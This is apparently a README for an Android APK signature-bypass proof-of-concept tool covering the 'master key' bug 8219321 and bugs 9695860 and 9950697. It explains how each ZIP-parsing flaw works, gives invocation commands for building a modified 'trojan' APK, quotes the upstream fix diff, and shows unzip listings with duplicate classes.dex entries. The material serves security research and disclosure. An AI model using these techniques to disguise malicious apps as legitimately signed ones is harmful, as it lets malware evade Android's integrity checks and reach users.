This project includes a proof of concept for Android bug 8219321, 9695860, and 9950697
This bug is the newest and also the most exploitable. ZipArbitrage uses this bug by default. General idea here is: it was assumed that the length of the filename (and the filename) is the same in both the local file header as well as the central directory. Description of its workings here.
This bug is a bit more limited
- Files must already exist in original APK
- Filename + original filelength < 64K
- New fileLength < original filelength
Run it as:
java -jar bin/AndroidZipArbitrage.jar Orig.apk modifiedAPK.apk
Fix commited here:
commit 2da1bf57a6631f1cbd47cdd7692ba8743c993ad9
Author: Elliott Hughes <enh@google.com>
Date: Sun Jul 21 14:34:12 2013 -0700
Fix ZipFile local file entry parsing.
The file name length is given in both the central directory entry
and the local file entry, with no consistency check. ZipInputStream
and the VM's native code both use the local file entry's value but
ZipFile was using the value from the central directory.
This patch makes ZipFile behave like the other two. (Even though,
unlike the others, ZipFile actually has enough information to detect the
inconsistency and reject the file.)
Bug: https://code.google.com/p/android/issues/detail?id=57851
Bug: 9950697
Change-Id: I1d58ac523ad2024baff1644d7bf822dae412495d
(cherry picked from commit 257d72c1b3a69e0af0abe44801b53966dbf7d214)
diff --git a/luni/src/main/java/java/util/zip/ZipFile.java b/luni/src/main/java/java/util/zip/ZipFile.java
index 2f9e3b0..832235e 100644
--- a/luni/src/main/java/java/util/zip/ZipFile.java
+++ b/luni/src/main/java/java/util/zip/ZipFile.java
@@ -284,17 +284,20 @@ public class ZipFile implements Closeable, ZipConstants {
throw new ZipException("Invalid General Purpose Bit Flag: " + gpbf);
}
- // At position 28 we find the length of the extra data. In some cases
- // this length differs from the one coming in the central header.
- is.skipBytes(20);
- int localExtraLenOrWhatever = Short.reverseBytes(is.readShort()) & 0xffff;
+ // Offset 26 has the file name length, and offset 28 has the extra field length.
+ // These lengths can differ from the ones in the central header.
+ is.skipBytes(18);
+ int fileNameLength = Short.reverseBytes(is.readShort()) & 0xffff;
+ int extraFieldLength = Short.reverseBytes(is.readShort()) & 0xffff;
is.close();
- // Skip the name and this "extra" data or whatever it is:
- rafStream.skip(entry.nameLength + localExtraLenOrWhatever);
+ // Skip the variable-size file name and extra field data.
+ rafStream.skip(fileNameLength + extraFieldLength);
+
+ // The compressed or stored file data follows immediately after.
rafStream.length = rafStream.offset + entry.compressedSize;
if (entry.compressionMethod == ZipEntry.DEFLATED) {
- int bufSize = Math.max(1024, (int)Math.min(entry.getSize(), 65535L));
+ int bufSize = Math.max(1024, (int) Math.min(entry.getSize(), 65535L));
return new ZipInflaterInputStream(rafStream, new Inflater(true), bufSize, entry);
} else {
return rafStream;
Jay Saurik found a very nice way to utilize bug 9695860. He describes it far better than I could here. I did not implement the advanced interleaving that he mentions here, but I did implement the ability to have more or less entries in the trojan app. There are basically no limitations with this exploit. In addition, this bug is patched on way less devices than AndroidMasterKeys.
The --9695860 switch makes this tool use bug 9695860.
Run it as:
java -jar bin/AndroidZipArbitrage.jar --9695860 Orig.apk modifiedAPK.apk
This is a POC example for Android bug 8219321 (master keys):
- Well Written Explaination by Al Sutton
- CyanogenMod Bug Report
- CyanogenMod Patch
- Blue Boxes' teaser of Blackhat talk
- POF's original POC
- Rekey.io - A Root framework patcher
Run it as:
java -jar bin/AndroidZipArbitrage.jar --8219321 Orig.apk modifiedAPK.apk
Please note that -most- ZIP libraries do not handle doing this properly. UNIX zip's append will not allow file name collisions. It may be able to be done in Python, but it's default ZipFile append method only will add files in non-compressed.
The output from this POC gives:
➜ AndroidMasterKeys git:(master) unzip -vl pythonModdedApp.apk
Archive: pythonModdedApp.apk
Length Method Size Ratio Date Time CRC-32 Name
-------- ------ ------- ----- ---- ---- ------ ----
506712 Defl:N 196197 61% 07-08-13 21:53 81ab41c8 classes.dex
1664 Stored 1664 0% 07-08-13 21:51 db586380 AndroidManifest.xml
506720 Stored 506720 0% 07-08-13 21:51 1fee85e8 classes.dex
194 Stored 194 0% 07-08-13 21:51 463e5f86 library.properties
776 Stored 776 0% 07-08-13 21:51 be507dd3 META-INF/CERT.RSA
515 Stored 515 0% 07-08-13 21:51 1e40193c META-INF/CERT.SF
462 Stored 462 0% 07-08-13 21:51 de81958e META-INF/MANIFEST.MF
692 Stored 692 0% 07-08-13 21:51 d2d5c7bb res/layout/main.xml
856 Stored 856 0% 07-08-13 21:50 eac524bd resources.arsc
1761 Stored 1761 0% 07-08-13 21:51 e23c7570 rootdoc.txt
-------- ------- --- -------
1020352 709837 30% 10 files
This tool takes proper care to not duplicate any files, while at the same time making sure that all 'appended' files are also compressed.
unzip -vl AndroidMasterKeysModded.apk
Archive: AndroidMasterKeysModded.apk
Length Method Size Ratio Date Time CRC-32 Name
-------- ------ ------- ----- ---- ---- ------ ----
506712 Defl:N 195600 61% 07-08-13 21:53 81ab41c8 classes.dex
692 Defl:N 311 55% 07-08-13 21:51 d2d5c7bb res/layout/main.xml
1664 Defl:N 621 63% 07-08-13 21:51 db586380 AndroidManifest.xml
856 Stored 856 0% 07-08-13 21:50 eac524bd resources.arsc
506720 Defl:N 190564 62% 07-08-13 21:51 1fee85e8 classes.dex
194 Defl:N 144 26% 07-08-13 21:51 463e5f86 library.properties
1761 Defl:N 741 58% 07-08-13 21:51 e23c7570 rootdoc.txt
462 Defl:N 298 36% 07-08-13 21:51 de81958e META-INF/MANIFEST.MF
515 Defl:N 330 36% 07-08-13 21:51 1e40193c META-INF/CERT.SF
776 Defl:N 604 22% 07-08-13 21:51 be507dd3 META-INF/CERT.RSA
-------- ------- --- -------
1020352 390069 62% 10 files
To hack on the project download SBT run the following to build a jar:
sbt assembly
You can also add the gen-idea plugin and generate IntelliJ project files as well.